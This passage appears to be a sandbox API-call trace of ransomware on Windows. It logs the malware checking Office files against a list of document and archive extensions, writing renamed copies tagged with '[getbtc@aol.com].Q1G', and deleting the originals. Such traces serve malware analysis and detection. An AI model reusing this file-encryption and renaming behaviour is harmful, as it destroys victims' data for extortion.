Office\\Office14\\ContactPicker.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0258.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0258.842] lstrlenW (lpString=".doc") returned 4 [0258.842] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0258.842] lstrlenW (lpString=".docx") returned 5 [0258.842] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0258.842] lstrlenW (lpString=".pdf") returned 4 [0258.842] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0258.842] lstrlenW (lpString=".xls") returned 4 [0258.842] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0258.842] lstrlenW (lpString=".xlsx") returned 5 [0258.842] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0258.842] lstrlenW (lpString=".ppt") returned 4 [0258.842] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0258.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0258.842] lstrlenW (lpString=".zip") returned 4 [0258.842] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0258.842] lstrlenW (lpString=".rar") returned 4 [0258.843] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0258.843] lstrlenW (lpString=".bz2") returned 4 [0258.843] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0258.843] lstrlenW (lpString=".7z") returned 3 [0258.843] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0258.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0258.843] lstrlenW (lpString=".dbf") returned 4 [0258.843] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0258.845] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.845] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0259.007] GetLastError () returned 0x0 [0259.007] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x3388, lpOverlapped=0x0) returned 1 [0259.026] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x3390, lpOverlapped=0x0) returned 1 [0259.027] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.027] WriteFile (in: hFile=0x3e4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0259.027] SetEndOfFile (hFile=0x3e4) returned 1 [0259.027] CloseHandle (hObject=0x3e4) returned 1 [0259.028] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.028] SetEndOfFile (hFile=0x390) returned 1 [0259.030] CloseHandle (hObject=0x390) returned 1 [0259.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 1 [0259.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.031] lstrlenW (lpString=".doc") returned 4 [0259.031] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.031] lstrlenW (lpString=".docx") returned 5 [0259.031] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.031] lstrlenW (lpString=".pdf") returned 4 [0259.031] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.031] lstrlenW (lpString=".xls") returned 4 [0259.031] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.031] lstrlenW (lpString=".xlsx") returned 5 [0259.031] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.031] lstrlenW (lpString=".ppt") returned 4 [0259.031] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.031] lstrlenW (lpString=".zip") returned 4 [0259.031] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.031] lstrlenW (lpString=".rar") returned 4 [0259.031] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.031] lstrlenW (lpString=".bz2") returned 4 [0259.031] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.031] lstrlenW (lpString=".7z") returned 3 [0259.031] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.031] lstrlenW (lpString=".dbf") returned 4 [0259.031] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.031] lstrlenW (lpString=".1cd") returned 4 [0259.031] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.031] lstrlenW (lpString=".jpg") returned 4 [0259.031] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.032] lstrlenW (lpString=".doc") returned 4 [0259.032] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.032] lstrlenW (lpString=".docx") returned 5 [0259.032] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.032] lstrlenW (lpString=".pdf") returned 4 [0259.032] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.032] lstrlenW (lpString=".xls") returned 4 [0259.032] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.032] lstrlenW (lpString=".xlsx") returned 5 [0259.032] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.032] lstrlenW (lpString=".ppt") returned 4 [0259.032] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.032] lstrlenW (lpString=".zip") returned 4 [0259.032] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.032] lstrlenW (lpString=".rar") returned 4 [0259.032] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.032] lstrlenW (lpString=".bz2") returned 4 [0259.032] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.032] lstrlenW (lpString=".7z") returned 3 [0259.032] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.032] lstrlenW (lpString=".dbf") returned 4 [0259.032] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.032] lstrlenW (lpString=".1cd") returned 4 [0259.032] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0259.032] lstrlenW (lpString=".jpg") returned 4 [0259.032] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.033] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0259.033] lstrlenW (lpString="LOCALDV.DLL") returned 11 [0259.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.033] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=37248) returned 1 [0259.033] CloseHandle (hObject=0x390) returned 1 [0259.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll")) returned 0x20 [0259.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\localdv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.034] lstrlenW (lpString=".doc") returned 4 [0259.034] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.034] lstrlenW (lpString=".docx") returned 5 [0259.034] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0259.034] lstrlenW (lpString=".pdf") returned 4 [0259.034] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.034] lstrlenW (lpString=".xls") returned 4 [0259.034] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.034] lstrlenW (lpString=".xlsx") returned 5 [0259.034] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0259.034] lstrlenW (lpString=".ppt") returned 4 [0259.034] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.034] lstrlenW (lpString=".zip") returned 4 [0259.034] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.034] lstrlenW (lpString=".rar") returned 4 [0259.034] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.034] lstrlenW (lpString=".bz2") returned 4 [0259.034] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.034] lstrlenW (lpString=".7z") returned 3 [0259.034] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.034] lstrlenW (lpString=".dbf") returned 4 [0259.034] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.034] lstrlenW (lpString=".1cd") returned 4 [0259.034] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.034] lstrlenW (lpString=".jpg") returned 4 [0259.034] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.035] lstrlenW (lpString=".doc") returned 4 [0259.035] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.035] lstrlenW (lpString=".docx") returned 5 [0259.035] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0259.035] lstrlenW (lpString=".pdf") returned 4 [0259.035] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.035] lstrlenW (lpString=".xls") returned 4 [0259.035] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.035] lstrlenW (lpString=".xlsx") returned 5 [0259.035] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0259.035] lstrlenW (lpString=".ppt") returned 4 [0259.035] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.035] lstrlenW (lpString=".zip") returned 4 [0259.035] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.035] lstrlenW (lpString=".rar") returned 4 [0259.035] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.035] lstrlenW (lpString=".bz2") returned 4 [0259.035] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.035] lstrlenW (lpString=".7z") returned 3 [0259.035] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.035] lstrlenW (lpString=".dbf") returned 4 [0259.035] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.035] lstrlenW (lpString=".1cd") returned 4 [0259.035] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\LOCALDV.DLL") returned 67 [0259.035] lstrlenW (lpString=".jpg") returned 4 [0259.035] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.035] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.036] lstrlenW (lpString="ODBCR.SAM") returned 9 [0259.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0259.288] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=11664) returned 1 [0259.288] CloseHandle (hObject=0x1f4) returned 1 [0259.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 0x20 [0259.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0259.289] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.289] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0259.290] GetLastError () returned 0x0 [0259.290] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x2d90, lpOverlapped=0x0) returned 1 [0259.292] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x2da0, lpOverlapped=0x0) returned 1 [0259.293] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.293] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0259.293] SetEndOfFile (hFile=0x20c) returned 1 [0259.294] CloseHandle (hObject=0x20c) returned 1 [0259.294] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.294] SetEndOfFile (hFile=0x1f4) returned 1 [0259.297] CloseHandle (hObject=0x1f4) returned 1 [0259.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 1 [0259.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.298] lstrlenW (lpString=".doc") returned 4 [0259.299] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString=".docx") returned 5 [0259.299] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.299] lstrlenW (lpString=".pdf") returned 4 [0259.299] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString=".xls") returned 4 [0259.299] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.299] lstrlenW (lpString=".xlsx") returned 5 [0259.299] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.299] lstrlenW (lpString=".ppt") returned 4 [0259.299] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.299] lstrlenW (lpString=".zip") returned 4 [0259.299] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.299] lstrlenW (lpString=".rar") returned 4 [0259.299] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString=".bz2") returned 4 [0259.299] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString=".7z") returned 3 [0259.299] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.299] lstrlenW (lpString=".dbf") returned 4 [0259.299] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.299] lstrlenW (lpString=".1cd") returned 4 [0259.299] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.299] lstrlenW (lpString=".jpg") returned 4 [0259.299] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.299] lstrlenW (lpString=".doc") returned 4 [0259.299] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.299] lstrlenW (lpString=".docx") returned 5 [0259.299] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0259.300] lstrlenW (lpString=".pdf") returned 4 [0259.300] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.300] lstrlenW (lpString=".xls") returned 4 [0259.300] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.300] lstrlenW (lpString=".xlsx") returned 5 [0259.300] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0259.300] lstrlenW (lpString=".ppt") returned 4 [0259.300] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.300] lstrlenW (lpString=".zip") returned 4 [0259.300] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.300] lstrlenW (lpString=".rar") returned 4 [0259.300] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.300] lstrlenW (lpString=".bz2") returned 4 [0259.300] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.300] lstrlenW (lpString=".7z") returned 3 [0259.300] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.300] lstrlenW (lpString=".dbf") returned 4 [0259.300] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.300] lstrlenW (lpString=".1cd") returned 4 [0259.300] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65 [0259.300] lstrlenW (lpString=".jpg") returned 4 [0259.300] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.300] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.300] lstrlenW (lpString="DELIMDOS.FAE") returned 12 [0259.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0259.301] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=31120) returned 1 [0259.301] CloseHandle (hObject=0x1f4) returned 1 [0259.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 0x20 [0259.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0259.301] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.302] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0259.302] GetLastError () returned 0x0 [0259.302] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x7990, lpOverlapped=0x0) returned 1 [0259.305] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, 